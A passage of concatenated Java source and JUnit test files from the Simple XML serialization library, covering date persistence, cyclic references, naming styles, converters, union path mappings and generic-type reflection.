this.array = new Date[1];
this.array[0] = date;
}
}
public void testDate() throws Exception {
Date date = new Date();
DateTransform format = new DateTransform(Date.class);
String value = format.write(date);
Date copy = format.read(value);
assertEquals(date, copy);
}
public void testPersistence() throws Exception {
long now = System.currentTimeMillis();
Date date = new Date(now);
Persister persister = new Persister();
DateExample example = new DateExample(date);
StringWriter out = new StringWriter();
assertEquals(example.attribute, date);
assertEquals(example.element, date);
assertEquals(example.array[0], date);
assertEquals(example.list.get(0), date);
assertEquals(example.list.get(1), date);
persister.write(example, out);
String text = out.toString();
example = persister.read(DateExample.class, text);
assertEquals(example.attribute, date);
assertEquals(example.element, date);
assertEquals(example.array[0], date);
assertEquals(example.list.get(0), date);
assertEquals(example.list.get(1), date);
validate(example, persister);
}
public void testCyclicPersistence() throws Exception {
long now = System.currentTimeMillis();
Date date = new Date(now);
CycleStrategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
DateExample example = new DateExample(date);
StringWriter out = new StringWriter();
assertEquals(example.attribute, date);
assertEquals(example.element, date);
assertEquals(example.array[0], date);
assertEquals(example.list.get(0), date);
assertEquals(example.list.get(1), date);
persister.write(example, out);
String text = out.toString();
assertElementHasAttribute(text, "/dateExample", "id", "0");
assertElementHasAttribute(text, "/dateExample/array", "id", "1");
assertElementHasAttribute(text, "/dateExample/array/date", "id", "2");
assertElementHasAttribute(text, "/dateExample/element", "reference", "2");
assertElementHasAttribute(text, "/dateExample/list", "id", "3");
example = persister.read(DateExample.class, text);
assertEquals(example.attribute, date);
assertEquals(example.element, date);
assertEquals(example.array[0], date);
assertEquals(example.list.get(0), date);
assertEquals(example.list.get(1), date);
validate(example, persister);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/Name.java<|end_filename|>
/*
* Attributes.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
/**
* This contains the default attribute names to use to populate the
* XML elements with data relating to the object to be serialized.
* Various details, such as the class name of an object need to be
* written to the element in order for it to be deserialized. Such
* attribute names are shared between strategy implementations.
*
* @author <NAME>
*/
interface Name {
/**
* The default name of the attribute used to identify an object.
*/
public static final String MARK = "id";
/**
* The default name of the attribute used for circular references.
*/
public static final String REFER = "reference";
/**
* The default name of the attribute used to specify the length.
*/
public static final String LENGTH = "length";
/**
* The default name of the attribute used to specify the class.
*/
public static final String LABEL = "class";
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/StrategyTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import junit.framework.TestCase;
public class StrategyTest extends TestCase {
public void testHyphenStrategy() {
Style strategy = new HyphenStyle();
System.err.println(strategy.getElement("Base64Encoder"));
System.err.println(strategy.getElement("Base64_Encoder"));
System.err.println(strategy.getElement("Base64___encoder"));
System.err.println(strategy.getElement("base64--encoder"));
System.err.println(strategy.getElement("Base64encoder"));
System.err.println(strategy.getElement("_Base64encoder"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("URLList"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("Base_64_Encoder"));
System.err.println(strategy.getElement("base_64_encoder"));
}
public void testCamelCaseStrategy() {
Style strategy = new CamelCaseStyle();
System.err.println(strategy.getElement("Base64Encoder"));
System.err.println(strategy.getElement("Base64_Encoder"));
System.err.println(strategy.getElement("Base64___encoder"));
System.err.println(strategy.getElement("base64--encoder"));
System.err.println(strategy.getElement("Base64encoder"));
System.err.println(strategy.getElement("_Base64encoder"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("URLList"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("Base_64_Encoder"));
System.err.println(strategy.getElement("base_64_encoder"));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/WrapperTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
public class WrapperTest extends TestCase {
private static class Wrapper {
private final Object value;
public Wrapper(Object value) {
this.value = value;
}
public Object get(){
return value;
}
}
private static class WrapperConverter implements Converter<Wrapper> {
private final Serializer serializer;
public WrapperConverter(Serializer serializer) {
this.serializer = serializer;
}
public Wrapper read(InputNode node) throws Exception {
InputNode type = node.getAttribute("type");
InputNode child = node.getNext();
String className = type.getValue();
Object value = null;
if(child != null) {
value = serializer.read(Class.forName(className), child);
}
return new Wrapper(value);
}
public void write(OutputNode node, Wrapper wrapper) throws Exception {
Object value = wrapper.get();
Class type = value.getClass();
String className = type.getName();
node.setAttribute("type", className);
serializer.write(value, node);
}
}
@Root
@Default(required=false)
private static class Entry {
private String name;
private String value;
public Entry(@Element(name="name", required=false) String name, @Element(name="value", required=false) String value){
this.name = name;
this.value = value;
}
}
@Root
@Default(required=false)
private static class WrapperExample {
@Convert(WrapperConverter.class)
private Wrapper wrapper;
public WrapperExample(@Element(name="wrapper", required=false) Wrapper wrapper) {
this.wrapper = wrapper;
}
}
public void testWrapper() throws Exception{
Registry registry = new Registry();
Strategy strategy = new RegistryStrategy(registry);
Serializer serializer = new Persister(strategy);
Entry entry = new Entry("name", "value");
Wrapper wrapper = new Wrapper(entry);
WrapperExample example = new WrapperExample(wrapper);
WrapperConverter converter = new WrapperConverter(serializer);
StringWriter writer = new StringWriter();
registry.bind(Wrapper.class, converter);
serializer.write(example, writer);
serializer.read(WrapperExample.class, writer.toString());
System.err.println(writer.toString());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/OriginalTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Collection;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class OriginalTest extends ValidationTestCase {
private static final String SOURCE =
"<exampleWithOriginals>\n"+
" <list>\n"+
" <string>a</string>\n"+
" <string>b</string>\n"+
" <string>c</string>\n"+
" <string>d</string>\n"+
" </list>\n"+
" <map>\n"+
" <entry>\n"+
" <string>a</string>\n"+
" <double>1.0</double>\n"+
" </entry>\n"+
" <entry>\n"+
" <string>b</string>\n"+
" <double>2.0</double>\n"+
" </entry>\n"+
" <entry>\n"+
" <string>c</string>\n"+
" <double>3.0</double>\n"+
" </entry>\n"+
" </map>\n"+
" <listEntry name='a' value='1'/>\n"+
" <listEntry name='b' value='2'/>\n"+
" <listEntry name='c' value='3'/>\n"+
" <listEntry name='d' value='4'/>\n"+
" <mapEntry>\n"+
" <double>1.0</double>\n"+
" <entry name='a' value='1'/>\n"+
" </mapEntry>\n"+
" <mapEntry>\n"+
" <double>2.0</double>\n"+
" <entry name='b' value='2'/>\n"+
" </mapEntry>\n"+
" <mapEntry>\n"+
" <double>3.0</double>\n"+
" <entry name='c' value='3'/>\n"+
" </mapEntry>\n"+
"</exampleWithOriginals>\n";
@Root
@Namespace(prefix="entry", reference="http://domain/entry")
private static class Entry {
@Attribute
private String name;
@Attribute
private String value;
public Entry() {
super();
}
public Entry(String name, String value) {
this.name = name;
this.value = value;
}
public boolean equals(Object entry) {
if(entry instanceof Entry) {
Entry other = (Entry) entry;
return other.name.equals(name) && other.value.equals(value);
}
return false;
}
public int hashCode() {
return name.hashCode() ^ value.hashCode();
}
}
@Root
@NamespaceList({@Namespace(prefix="root", reference="http://domain/entry")})
private static class ExampleWithOriginals {
@ElementList
private Collection<String> list = new CopyOnWriteArrayList<String>();
@ElementMap
private Map<String, Double> map = new ConcurrentHashMap<String, Double>();
@ElementList(inline=true, entry="listEntry")
private Collection<Entry> inlineList = new CopyOnWriteArrayList<Entry>();
@ElementMap(inline=true, entry="mapEntry")
private Map<Double, Entry> inlineMap = new ConcurrentHashMap<Double, Entry>();
public ExampleWithOriginals() {
this.list.add("original from constructor");
this.map.put("original key", 1.0);
this.inlineList.add(new Entry("original name", "original value"));
this.inlineMap.put(7.0, new Entry("an original name", "an original value"));
}
}
public void testOriginals() throws Exception {
Persister persister = new Persister();
ExampleWithOriginals original = persister.read(ExampleWithOriginals.class, SOURCE);
persister.write(original, System.out);
assertTrue(original.list.contains("original from constructor"));
assertTrue(original.list.contains("a"));
assertTrue(original.list.contains("b"));
assertTrue(original.list.contains("c"));
assertTrue(original.list.contains("d"));
assertEquals(original.map.get("original key"), 1.0);
assertEquals(original.map.get("a"), 1.0);
assertEquals(original.map.get("b"), 2.0);
assertEquals(original.map.get("c"), 3.0);
assertTrue(original.inlineList.contains(new Entry("original name", "original value")));
assertTrue(original.inlineList.contains(new Entry("a", "1")));
assertTrue(original.inlineList.contains(new Entry("b", "2")));
assertTrue(original.inlineList.contains(new Entry("c", "3")));
assertTrue(original.inlineList.contains(new Entry("d", "4")));
assertEquals(original.inlineMap.get(7.0), new Entry("an original name", "an original value"));
assertEquals(original.inlineMap.get(1.0), (new Entry("a", "1")));
assertEquals(original.inlineMap.get(2.0), (new Entry("b", "2")));
assertEquals(original.inlineMap.get(3.0), (new Entry("c", "3")));
validate(persister, original);
}
public void testA(){}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/Reference.java<|end_filename|>
/*
* Reference.java May 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
/**
* The <code>Reference</code> object represents an object that
* is used to provide a reference to an already instantiated value.
* This is what is used if there is a cycle in the object graph.
* The <code>getValue</code> method of this object will simply
* return the object instance that was previously created.
*
* @author <NAME>
*/
class Reference implements Value {
/**
* This is the object instance that has already be created.
*/
private Object value;
/**
* This is the type of the object that this references.
*/
private Class type;
/**
* Constructor for the <code>Reference</code> object. This
* is used to create a value that will produce the specified
* value when the <code>getValue</code> method is invoked.
*
* @param value the value for the reference this represents
* @param type this is the type value for the instance
*/
public Reference(Object value, Class type) {
this.value = value;
this.type = type;
}
/**
* This is used to acquire a reference to the instance that is
* taken from the created object graph. This enables any cycles
* in the graph to be reestablished from the persisted XML.
*
* @return this returns a reference to the created instance
*/
public Object getValue() {
return value;
}
/**
* This method is used set the value within this object. Once
* this is set then the <code>getValue</code> method will return
* the object that has been provided. Typically this will not
* be set as this represents a reference value.
*
* @param value this is the value to insert as the type
*/
public void setValue(Object value) {
this.value = value;
}
/**
* This returns the type for the object that this references.
* This will basically return the <code>getClass</code> class
* from the referenced instance. This is used to ensure that
* the type this represents is compatible to the object field.
*
* @return this returns the type for the referenced object
*/
public Class getType() {
return type;
}
/**
* This returns zero as this is a reference and will typically
* not be used to instantiate anything. If the reference is an
* an array then this can not be used to instantiate it.
*
* @return this returns zero regardless of the value type
*/
public int getLength() {
return 0;
}
/**
* This always returns true for this object. This indicates to
* the deserialization process that there should be not further
* deserialization of the object from the XML source stream.
*
* @return because this is a reference this is always true
*/
public boolean isReference() {
return true;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/EventAttribute.java<|end_filename|>
/*
* EventAttribute.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>EventAttribute</code> object represents an attribute
* that is associated with an event node. An attribute is required
* to provide the name and value for the attribute, and optionally
* the namespace reference and prefix. For debugging purposes the
* source object from the internal XML provider can be acquired.
*
* @author <NAME>
*/
abstract class EventAttribute implements Attribute {
/**
* This is used to acquire the namespace prefix associated with
* this attribute. A prefix is used to qualify the attribute
* within a namespace. So, if this has a prefix then it should
* have a reference associated with it.
*
* @return this returns the namespace prefix for the attribute
*/
public String getPrefix() {
return null;
}
/**
* This is used to acquire the namespace reference that this
* attribute is in. A namespace is normally associated with an
* attribute if that attribute is prefixed with a known token.
* If there is no prefix then this will return null.
*
* @return this provides the associated namespace reference
*/
public String getReference() {
return null;
}
/**
* This is used to return the source of the attribute. Depending
* on which provider was selected to parse the XML document an
* object for the internal parsers representation of this will
* be returned. This is useful for debugging purposes.
*
* @return this will return the source object for this event
*/
public Object getSource() {
return null;
}
/**
* This returns true if the attribute is reserved. An attribute
* is considered reserved if it begins with "xml" according to
* the namespaces in XML 1.0 specification. Such attributes are
* used for namespaces and other such details.
*
* @return this returns true if the attribute is reserved
*/
public boolean isReserved() {
return false;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionComplicatedPathMixTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.ElementMapUnion;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Style;
public class UnionComplicatedPathMixTest extends ValidationTestCase {
@Root
@NamespaceList({
@Namespace(prefix="x", reference="http://www.x.com/x")
})
private static class ComplicatedExample {
@Path("x:path[1]")
@ElementMapUnion({
@ElementMap(entry="a", keyType=X.class, valueType=A.class, inline=true),
@ElementMap(entry="b", keyType=Y.class, valueType=B.class, inline=true),
@ElementMap(entry="c", keyType=Z.class, valueType=C.class, inline=true)
})
private final Map<Key, Entry> map;
@Path("x:path[2]")
@ElementListUnion({
@ElementList(entry="a", type=A.class, inline=true),
@ElementList(entry="b", type=B.class, inline=true),
@ElementList(entry="c", type=C.class, inline=true)
})
private final List<Entry> list;
@Path("x:path[2]")
@Element
private final String elementOne;
@Path("x:path[2]")
@Element
private final String elementTwo;
@Path("x:path[2]")
@Element
private final String elementThree;
@Path("x:path[2]/x:someOtherPath")
@Text
private final String text;
@Path("x:path[2]/x:someOtherPath")
@Attribute
private final String attribute_one;
@Path("x:path[2]/x:someOtherPath")
@Attribute
private final String attribute_two;
public ComplicatedExample(
@Path("x:path[1]") @ElementMap(name="a") Map<Key, Entry> map,
@Path("x:path[2]") @ElementList(name="a") List<Entry> list,
@Element(name="elementOne") String elementOne,
@Element(name="elementTwo") String elementTwo,
@Element(name="elementThree") String elementThree,
@Text String text,
@Path("x:path[2]/x:someOtherPath") @Attribute(name="attribute_one") String attribute_one,
@Path("x:path[2]/x:someOtherPath") @Attribute(name="attribute_two") String attribute_two)
{
this.map = map;
this.list = list;
this.elementOne = elementOne;
this.elementTwo = elementTwo;
this.elementThree = elementThree;
this.text = text;
this.attribute_one = attribute_one;
this.attribute_two = attribute_two;
}
}
@Root
private static class Key {}
private static class X extends Key {}
private static class Y extends Key {}
private static class Z extends Key {}
@Root
private static class Entry {
@Attribute
private final String id;
protected Entry(String id) {
this.id = id;
}
}
private static class A extends Entry {
public A(@Attribute(name="id") String id) {
super(id);
}
}
private static class B extends Entry {
public B(@Attribute(name="id") String id) {
super(id);
}
}
private static class C extends Entry {
public C(@Attribute(name="id") String id) {
super(id);
}
}
public void testComplicatedMap() throws Exception {
Map<Key, Entry> map = new LinkedHashMap<Key, Entry>();
List<Entry> list = new ArrayList<Entry>();
ComplicatedExample example = new ComplicatedExample(
map,
list,
"element 1",
"element 2",
"element 3",
"text",
"attribute 1",
"attribute 2");
map.put(new X(), new A("1"));
map.put(new Z(), new C("2"));
map.put(new Z(), new C("3"));
map.put(new Y(), new B("4"));
list.add(new C("a"));
list.add(new A("b"));
list.add(new B("c"));
list.add(new B("d"));
Persister persister = new Persister();
StringWriter writer = new StringWriter();
persister.write(example, writer);
String resultingXml = writer.toString();
System.out.println(resultingXml);
assertElementExists(resultingXml, "complicatedExample/path");
assertElementHasNamespace(resultingXml, "complicatedExample/path", "http://www.x.com/x");
assertElementExists(resultingXml, "complicatedExample/path[1]/a");
assertElementExists(resultingXml, "complicatedExample/path[1]/a[1]/x");
assertElementExists(resultingXml, "complicatedExample/path[1]/a[1]/a");
assertElementHasAttribute(resultingXml, "complicatedExample/path[1]/a[1]/a", "id", "1");
assertElementExists(resultingXml, "complicatedExample/path[1]/c");
assertElementExists(resultingXml, "complicatedExample/path[1]/c[1]/z");
assertElementExists(resultingXml, "complicatedExample/path[1]/c[1]/c");
assertElementHasAttribute(resultingXml, "complicatedExample/path[1]/c[1]/c", "id", "2");
assertElementExists(resultingXml, "complicatedExample/path[1]/c");
assertElementExists(resultingXml, "complicatedExample/path[1]/c[2]/z");
assertElementExists(resultingXml, "complicatedExample/path[1]/c[2]/c");
assertElementHasAttribute(resultingXml, "complicatedExample/path[1]/c[2]/c", "id", "3");
assertElementExists(resultingXml, "complicatedExample/path[1]/b");
assertElementExists(resultingXml, "complicatedExample/path[1]/b[1]/y");
assertElementExists(resultingXml, "complicatedExample/path[1]/b[1]/b");
assertElementHasAttribute(resultingXml, "complicatedExample/path[1]/b[1]/b", "id", "4");
assertElementExists(resultingXml, "complicatedExample/path[2]/c");
assertElementHasAttribute(resultingXml, "complicatedExample/path[2]/c", "id", "a");
assertElementExists(resultingXml, "complicatedExample/path[2]/a");
assertElementHasAttribute(resultingXml, "complicatedExample/path[2]/a", "id", "b");
assertElementExists(resultingXml, "complicatedExample/path[2]/b");
assertElementHasAttribute(resultingXml, "complicatedExample/path[2]/b", "id", "c");
assertElementExists(resultingXml, "complicatedExample/path[2]/b");
assertElementHasValue(resultingXml, "complicatedExample/path[2]/elementOne", "element 1");
assertElementHasValue(resultingXml, "complicatedExample/path[2]/elementTwo", "element 2");
assertElementHasValue(resultingXml, "complicatedExample/path[2]/elementThree", "element 3");
assertElementHasValue(resultingXml, "complicatedExample/path[2]/someOtherPath", "text");
assertElementHasNamespace(resultingXml, "complicatedExample/path[2]/someOtherPath", "http://www.x.com/x");
assertElementHasAttribute(resultingXml, "complicatedExample/path[2]/someOtherPath", "attribute_one", "attribute 1");
assertElementHasAttribute(resultingXml, "complicatedExample/path[2]/someOtherPath", "attribute_two", "attribute 2");
validate(persister, example);
}
public void testStyledComplicatedMap() throws Exception {
Style style = new CamelCaseStyle();
Format format = new Format(style);
Map<Key, Entry> map = new LinkedHashMap<Key, Entry>();
List<Entry> list = new ArrayList<Entry>();
ComplicatedExample example = new ComplicatedExample(
map,
list,
"element 1",
"element 2",
"element 3",
"text",
"attribute 1",
"attribute 2");
map.put(new X(), new A("1"));
map.put(new Z(), new C("2"));
map.put(new Z(), new C("3"));
map.put(new Y(), new B("4"));
list.add(new C("a"));
list.add(new A("b"));
list.add(new B("c"));
list.add(new B("d"));
Persister persister = new Persister(format);
StringWriter writer = new StringWriter();
persister.write(example, writer);
String resultingXml = writer.toString();
System.out.println(resultingXml);
assertElementExists(resultingXml, "ComplicatedExample/Path");
assertElementHasNamespace(resultingXml, "ComplicatedExample/Path", "http://www.x.com/x");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/A");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/A[1]/X");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/A[1]/A");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[1]/A[1]/A", "id", "1");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/C");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/C[1]/Z");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/C[1]/C");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[1]/C[1]/C", "id", "2");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/C");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/C[2]/Z");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/C[2]/Z");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[1]/C[2]/C", "id", "3");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/B");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/B[1]/Y");
assertElementExists(resultingXml, "ComplicatedExample/Path[1]/B[1]/B");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[1]/B[1]/B", "id", "4");
assertElementExists(resultingXml, "ComplicatedExample/Path[2]/C");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[2]/C", "id", "a");
assertElementExists(resultingXml, "ComplicatedExample/Path[2]/A");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[2]/A", "id", "b");
assertElementExists(resultingXml, "ComplicatedExample/Path[2]/A");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[2]/B", "id", "c");
assertElementExists(resultingXml, "ComplicatedExample/Path[2]/B");
assertElementHasValue(resultingXml, "ComplicatedExample/Path[2]/ElementOne", "element 1");
assertElementHasValue(resultingXml, "ComplicatedExample/Path[2]/ElementTwo", "element 2");
assertElementHasValue(resultingXml, "ComplicatedExample/Path[2]/ElementThree", "element 3");
assertElementHasValue(resultingXml, "ComplicatedExample/Path[2]/SomeOtherPath", "text");
assertElementHasNamespace(resultingXml, "ComplicatedExample/Path[2]/SomeOtherPath", "http://www.x.com/x");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[2]/SomeOtherPath", "attributeOne", "attribute 1");
assertElementHasAttribute(resultingXml, "ComplicatedExample/Path[2]/SomeOtherPath", "attributeTwo", "attribute 2");
validate(persister, example);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ErasureReflectorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.Map;
import org.simpleframework.xml.ValidationTestCase;
public class ErasureReflectorTest extends ValidationTestCase {
private static class MapErasure<T> {
public static Field getField(String name) throws Exception {
return MapErasure.class.getField(name);
}
public static Method getMethod(String name) throws Exception {
if(name.startsWith("set")) {
return MapErasure.class.getMethod(name, Map.class);
}
return MapErasure.class.getMethod(name);
}
public static Constructor getConstructor() throws Exception {
return MapErasure.class.getDeclaredConstructors()[0];
}
private Map<T, T> erasedToErased;
private Map<T, String> erasedToString;
private Map<String, T> stringToErased;
private Map<String, String> stringToString;
public MapErasure(
Map<T, T> erasedToErased,
Map<T, String> erasedToString,
Map<String, T> stringToErased,
Map<String, String> stringToString) {
}
public Map<T, T> getErasedToErased() {
return erasedToErased;
}
public Map<T, String> getErasedToString() {
return erasedToString;
}
public Map<String, T> getStringToErased() {
return stringToErased;
}
public Map<String, String> getStringToString() {
return stringToString;
}
public void setErasedToErased(Map<T, T> erasedToErased) {
this.erasedToErased = erasedToErased;
}
public void setErasedToString(Map<T, String> erasedToString) {
this.erasedToString = erasedToString;
}
public void setStringToErased(Map<String, T> stringToErased) {
this.stringToErased = stringToErased;
}
public void setStringToString(Map<String, String> stringToString) {
this.stringToString = stringToString;
}
}
private static class CollectionErasure<T> {
public static Field getField(String name) throws Exception {
return CollectionErasure.class.getField(name);
}
public static Method getMethod(String name) throws Exception {
if(name.startsWith("set")) {
return CollectionErasure.class.getMethod(name, Collection.class);
}
return CollectionErasure.class.getMethod(name);
}
public static Constructor getConstructor() throws Exception {
return CollectionErasure.class.getDeclaredConstructors()[0];
}
private Collection<T> erased;
private Collection<String> string;
public CollectionErasure(
Collection<T> erased,
Collection<String> string) {
}
public Collection<T> getErased() {
return erased;
}
public Collection<String> getString() {
return string;
}
public void setErased(Collection<T> erased) {
this.erased = erased;
}
public void setString(Collection<String> string) {
this.string = string;
}
}
public void tesFieldReflection() throws Exception {
assertEquals(Object.class, Reflector.getDependent(CollectionErasure.getField("erased")));
assertEquals(String.class, Reflector.getDependent(CollectionErasure.getField("string")));
assertEquals(Object.class, Reflector.getDependent(MapErasure.getField("erasedToErased")));
assertEquals(Object.class, Reflector.getDependent(MapErasure.getField("erasedToString")));
assertEquals(String.class, Reflector.getDependent(MapErasure.getField("stringToErased")));
assertEquals(String.class, Reflector.getDependent(MapErasure.getField("stringToString")));
assertEquals(Object.class, Reflector.getDependents(MapErasure.getField("erasedToErased"))[0]);
assertEquals(Object.class, Reflector.getDependents(MapErasure.getField("erasedToString"))[0]);
assertEquals(String.class, Reflector.getDependents(MapErasure.getField("stringToErased"))[0]);
assertEquals(String.class, Reflector.getDependents(MapErasure.getField("stringToString"))[0]);
assertEquals(Object.class, Reflector.getDependents(MapErasure.getField("erasedToErased"))[1]);
assertEquals(String.class, Reflector.getDependents(MapErasure.getField("erasedToString"))[1]);
assertEquals(Object.class, Reflector.getDependents(MapErasure.getField("stringToErased"))[1]);
assertEquals(String.class, Reflector.getDependents(MapErasure.getField("stringToString"))[1]);
}
public void testMethodReflection() throws Exception {
assertEquals(Object.class, Reflector.getReturnDependent(CollectionErasure.getMethod("getErased")));
assertEquals(String.class, Reflector.getReturnDependent(CollectionErasure.getMethod("getString")));
assertEquals(Object.class, Reflector.getReturnDependent(CollectionErasure.getMethod("setErased")));
assertEquals(Object.class, Reflector.getReturnDependent(CollectionErasure.getMethod("setString")));
assertEquals(Object.class, Reflector.getParameterDependent(CollectionErasure.getConstructor(), 0)); // Collection<T>
assertEquals(String.class, Reflector.getParameterDependent(CollectionErasure.getConstructor(), 1)); // Collection<String>
assertEquals(Object.class, Reflector.getParameterDependents(CollectionErasure.getConstructor(), 0)[0]); // Collection<T>
assertEquals(String.class, Reflector.getParameterDependents(CollectionErasure.getConstructor(), 1)[0]); // Collection<String>
assertEquals(Object.class, Reflector.getReturnDependent(MapErasure.getMethod("getErasedToErased")));
assertEquals(Object.class, Reflector.getReturnDependent(MapErasure.getMethod("getErasedToString")));
assertEquals(String.class, Reflector.getReturnDependent(MapErasure.getMethod("getStringToErased")));
assertEquals(String.class, Reflector.getReturnDependent(MapErasure.getMethod("getStringToString")));
assertEquals(Object.class, Reflector.getReturnDependent(MapErasure.getMethod("setErasedToErased")));
assertEquals(Object.class, Reflector.getReturnDependent(MapErasure.getMethod("setErasedToString")));
assertEquals(Object.class, Reflector.getReturnDependent(MapErasure.getMethod("setStringToErased")));
assertEquals(Object.class, Reflector.getReturnDependent(MapErasure.getMethod("setStringToString")));
assertEquals(Object.class, Reflector.getReturnDependents(MapErasure.getMethod("getErasedToErased"))[0]);
assertEquals(Object.class, Reflector.getReturnDependents(MapErasure.getMethod("getErasedToString"))[0]);
assertEquals(String.class, Reflector.getReturnDependents(MapErasure.getMethod("getStringToErased"))[0]);
assertEquals(String.class, Reflector.getReturnDependents(MapErasure.getMethod("getStringToString"))[0]);
assertEquals(Object.class, Reflector.getReturnDependents(MapErasure.getMethod("getErasedToErased"))[1]);
assertEquals(String.class, Reflector.getReturnDependents(MapErasure.getMethod("getErasedToString"))[1]);
assertEquals(Object.class, Reflector.getReturnDependents(MapErasure.getMethod("getStringToErased"))[1]);
assertEquals(String.class, Reflector.getReturnDependents(MapErasure.getMethod("getStringToString"))[1]);
assertEquals(Object.class, Reflector.getParameterDependent(MapErasure.getConstructor(), 0)); // Map<T, T>
assertEquals(Object.class, Reflector.getParameterDependent(MapErasure.getConstructor(), 1)); // Map<T, String>
assertEquals(String.class, Reflector.getParameterDependent(MapErasure.getConstructor(), 2)); // Map<String, T>
assertEquals(String.class, Reflector.getParameterDependent(MapErasure.getConstructor(), 3)); // Map<String, String>
assertEquals(Object.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 0)[0]); // Map<T, T>
assertEquals(Object.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 1)[0]); // Map<T, String>
assertEquals(String.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 2)[0]); // Map<String, T>
assertEquals(String.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 3)[0]); // Map<String, String>
assertEquals(Object.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 0)[1]); // Map<T, T>
assertEquals(String.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 1)[1]); // Map<T, String>
assertEquals(Object.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 2)[1]); // Map<String, T>
assertEquals(String.class, Reflector.getParameterDependents(MapErasure.getConstructor(), 3)[1]); // Map<String, String>
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/RequiredTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import java.util.HashMap;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
